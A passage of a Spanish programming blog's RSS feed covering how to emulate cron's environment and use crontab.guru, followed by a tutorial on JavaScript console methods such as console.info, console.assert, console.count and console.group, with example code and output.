comandos disponibles en bash, porque cron usa /bin/sh, así que para cargar variables de entorno usa un punto &amp;ldquo;.&amp;rdquo; en lugar de &lt;em&gt;source&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;como-emular-el-entorno-de-ejecucion-de-cron&#34;&gt;Cómo emular el entorno de ejecución de cron&lt;/h2&gt;&#xA;&lt;p&gt;A veces queremos depurar y encontrar el porqué cierto script no se ejecuta como queremos. Para hacerlo, encontré la &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://stackoverflow.com/questions/2135478/how-to-simulate-the-environment-cron-executes-a-script-with&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;siguiente solución en stackoverflow&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;* * * * env &amp;gt; ~/cronenv&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Espere sólo un segundo para que se ejecute, y luego empieza a experimentar en este nuevo shell.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;env - &lt;span style=&#34;color:#5af78e&#34;&gt;`&lt;/span&gt;cat ~/cronenv&lt;span style=&#34;color:#5af78e&#34;&gt;`&lt;/span&gt; /bin/sh&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;crontab-guru-una-herramienta-bastante-util&#34;&gt;Crontab guru Una herramienta bastante útil&lt;/h2&gt;&#xA;&lt;p&gt;Como ya te has dado cuenta a veces la configuración puede complicarse demasiado y si no lo hacemos bien puede haber consecuencias; sencillas, como que nuestro script cambie de wallpaper cada minuto en lugar de cada hora; o graves, como que nuestro respaldo no se efectúe con la periodicidad deseada. Imagínate que, sin desearlo, programaste el respaldo de la base de datos una vez cada año en lugar de una vez cada veinticuatro horas, vas a pasar un mal rato si la base de datos llega a fallar.&lt;/p&gt;&#xA;&lt;p&gt;Para evitarnos disgustos existe una herramienta bastante útil llamada &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://crontab.guru&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;crontab.guru&lt;/a&gt;&#xA;. Esta herramienta se encargará de traducir tu configuración a simple y sencillo inglés, fácil de entender. Si tienes dudas sobre si la configuración que acabas de escribir es realmente la correcta, puedes teclearla en la página web y te mostrará el resultado en inglés.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/linux/program-periodic-tasks-easily-in-linux-with-cron-and-crontab/images/crontab_guru.gif&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/linux/program-periodic-tasks-easily-in-linux-with-cron-and-crontab/images/crontab_guru.gif&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Captura de pantalla de crontab guru&#34; width=&#34;1089&#34; height=&#34;909&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Si quieres aplicar cron y crontab, tengo una entrada donde los uso para &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/python/como-programar-un-cambiador-de-wallpaper-automatico-en-python/&#34;&gt;cambiar de wallpaper automáticamente usando Python.&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Muchas veces queremos ejecutar un script o un comando cada cierto tiempo, por ejemplo cuando queremos realizar backups periódicos de una base de datos, enviar a tus suscriptores un correo electrónico de recordatorio, o quizás eliminar archivos de cache cada cierta cantidad de tiempo. Cron, en conjunción con Crontab te permiten correr una tarea cada cierto tiempo.&lt;/p&gt;&#xA;&lt;p&gt;Una manera bastante ingenua sería crear un script y utilizar el método &lt;em&gt;time.sleep()&lt;/em&gt; de Python, o su equivalente en otro lenguaje, para retrasar su ejecución por el tiempo deseado. Sin embargo no necesitamos reinventar la rueda; alguien ya se encargó de esta tarea en GNU/Linux.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Estás usando mal console.log en javascript</title>
      <link>https://coffeebytes.dev/es/javascript/estas-usando-mal-consolelog-en-javascript/</link>
      <pubDate>Wed, 15 Jan 2020 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/javascript/estas-usando-mal-consolelog-en-javascript/</guid>
      
      <category>javascript</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Te apuesto a que alguna vez has usado &lt;em&gt;console.log()&lt;/em&gt; para depurar los errores al programar en javascript. Pero quizás no sepas que &lt;em&gt;console&lt;/em&gt; tiene otros métodos muy útiles a parte de &lt;em&gt;log()&lt;/em&gt;. En esta entrada voy a colocar algunos de los métodos más útiles que he encontrado en la web. En esta entrada voy a colocar algunos de los métodos más útiles que he encontrado en la web.&lt;/p&gt;&#xA;&lt;h2 id=&#34;muestra-informacion-con-consoleinfo&#34;&gt;Muestra información con console.info&lt;/h2&gt;&#xA;&lt;p&gt;&lt;em&gt;console.info()&lt;/em&gt; cumple la función de presentar información&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;console.info(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Texto con propósito informativo&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/javascript/you-dont-know-how-to-use-javascript-console/images/info.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/javascript/you-dont-know-how-to-use-javascript-console/images/info.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Impresion con console.info en consola&#34; width=&#34;372&#34; height=&#34;39&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;muestra-mensajes-de-advertencia-con-consolewarn&#34;&gt;Muestra mensajes de advertencia con console.warn&lt;/h2&gt;&#xA;&lt;p&gt;&lt;em&gt;console.warn()&lt;/em&gt; muestra un mensaje de advertencia, con fondo amarillo&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;console.warn(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Muestra un mensaje de advertencia&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/javascript/you-dont-know-how-to-use-javascript-console/images/warn.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/javascript/you-dont-know-how-to-use-javascript-console/images/warn.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Impresion con console.warn en consola&#34; width=&#34;382&#34; height=&#34;40&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h2 id=&#34;muestra-un-mensaje-de-error-con-consoleerror&#34;&gt;Muestra un mensaje de error con console.error&lt;/h2&gt;&#xA;&lt;p&gt;&lt;em&gt;console.error()&lt;/em&gt; nos muestra un mensaje de error&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;console.error(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Muestra un mensaje de error&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/javascript/you-dont-know-how-to-use-javascript-console/images/error.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/javascript/you-dont-know-how-to-use-javascript-console/images/error.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Error en consola impreso con console.error&#34; width=&#34;365&#34; height=&#34;44&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h2 id=&#34;evalua-si-una-expresion-es-true-o-muestra-un-error-con-consoleassert&#34;&gt;Evalua si una expresión es true, o muestra un error con console.assert&lt;/h2&gt;&#xA;&lt;p&gt;&lt;em&gt;console.assert()&lt;/em&gt; recibe dos argumentos: el primero es una expresión, el segundo un mensaje a mostrar si la expresión es false.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;console.assert(&lt;span style=&#34;color:#ff6ac1&#34;&gt;false&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Este mensaje se muestra porque el primer argumento es false&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Assertion failed&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; Este mensaje se muestra porque el primer argumento es &lt;span style=&#34;color:#ff6ac1&#34;&gt;false&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;console.assert(&lt;span style=&#34;color:#ff6ac1&#34;&gt;true&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Este mensaje NO se mostrará porque el primer argumento es true&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/javascript/you-dont-know-how-to-use-javascript-console/images/assertFalse.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/javascript/you-dont-know-how-to-use-javascript-console/images/assertFalse.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Impresión en consola con console.assert ara false&#34; width=&#34;619&#34; height=&#34;42&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/javascript/you-dont-know-how-to-use-javascript-console/images/assertTrue.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/javascript/you-dont-know-how-to-use-javascript-console/images/assertTrue.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Impresión en consola con console.assert para true&#34; width=&#34;614&#34; height=&#34;42&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h2 id=&#34;cuenta-eventos-con-consolecount&#34;&gt;Cuenta eventos con console.count&lt;/h2&gt;&#xA;&lt;p&gt;&lt;em&gt;console.count()&lt;/em&gt; recibe una etiqueta que nosotros definimos, cada vez que se ejecute nos mostrará cuantas veces se ha ejecutado esta función con la etiqueta dada.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;console.count(&lt;span style=&#34;color:#ff9f43&#34;&gt;3&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;console.count(&lt;span style=&#34;color:#ff9f43&#34;&gt;7&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;console.log(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Ya se tiene un conteo para 3 y 7&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;let&lt;/span&gt; i&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;; i&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;10&lt;/span&gt;; i&lt;span style=&#34;color:#ff6ac1&#34;&gt;++&lt;/span&gt;){&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    console.count(i)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;3&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;7&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Ya se tiene un conteo para &lt;span style=&#34;color:#ff9f43&#34;&gt;3&lt;/span&gt; y &lt;span style=&#34;color:#ff9f43&#34;&gt;7&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;3&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;4&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;5&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;6&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;7&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;8&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;9&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;imprime-un-objeto-como-json-con-consoledir&#34;&gt;Imprime un objeto como JSON con console.dir&lt;/h2&gt;&#xA;&lt;p&gt;Para este ejemplo creamos un objeto&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; specs &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; {ram&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;HyperX FURY DDR4 8GB&amp;#34;&lt;/span&gt;, processor&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Intel i7 8700K&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;hdd&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Seagate Barracuda 3.5&amp;#39;&amp;#39;, 1TB&amp;#34;&lt;/span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Usamos &lt;em&gt;console.dir()&lt;/em&gt; para imprimir el objeto en su representación JSON&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;console.dir(specs)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{&lt;span style=&#34;color:#ff5c57&#34;&gt;…&lt;/span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;hdd&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Seagate Barracuda 3.5&amp;#39;&amp;#39;, 1TB&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;processor&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Intel i7 8700K&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ram&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;HyperX FURY DDR4 8GB&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;prototype&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;:&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;Object&lt;/span&gt; { &lt;span style=&#34;color:#ff5c57&#34;&gt;…&lt;/span&gt; }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/javascript/you-dont-know-how-to-use-javascript-console/images/dir.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/javascript/you-dont-know-how-to-use-javascript-console/images/dir.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Impresión en consola con console.dir&#34; width=&#34;677&#34; height=&#34;124&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h2 id=&#34;agrupa-mensajes&#34;&gt;Agrupa mensajes&lt;/h2&gt;&#xA;&lt;p&gt;&lt;em&gt;console.group()&lt;/em&gt; marca el inicio de los mensajes que queremos agrupar y recibe como argumento el título de la agrupación, mientras que console.groupEnd() marca el término de esta agrupación.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;console.group(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Mensajes agrupados&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;console.log(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Log&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;console.info(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Info&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;console.groupEnd()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Mensajes agrupados&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;|&lt;/span&gt; Log&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;|&lt;/span&gt; Info&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/javascript/you-dont-know-how-to-use-javascript-console/images/group.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/javascript/you-dont-know-how-to-use-javascript-console/images/group.jpg&#34;&#xA;    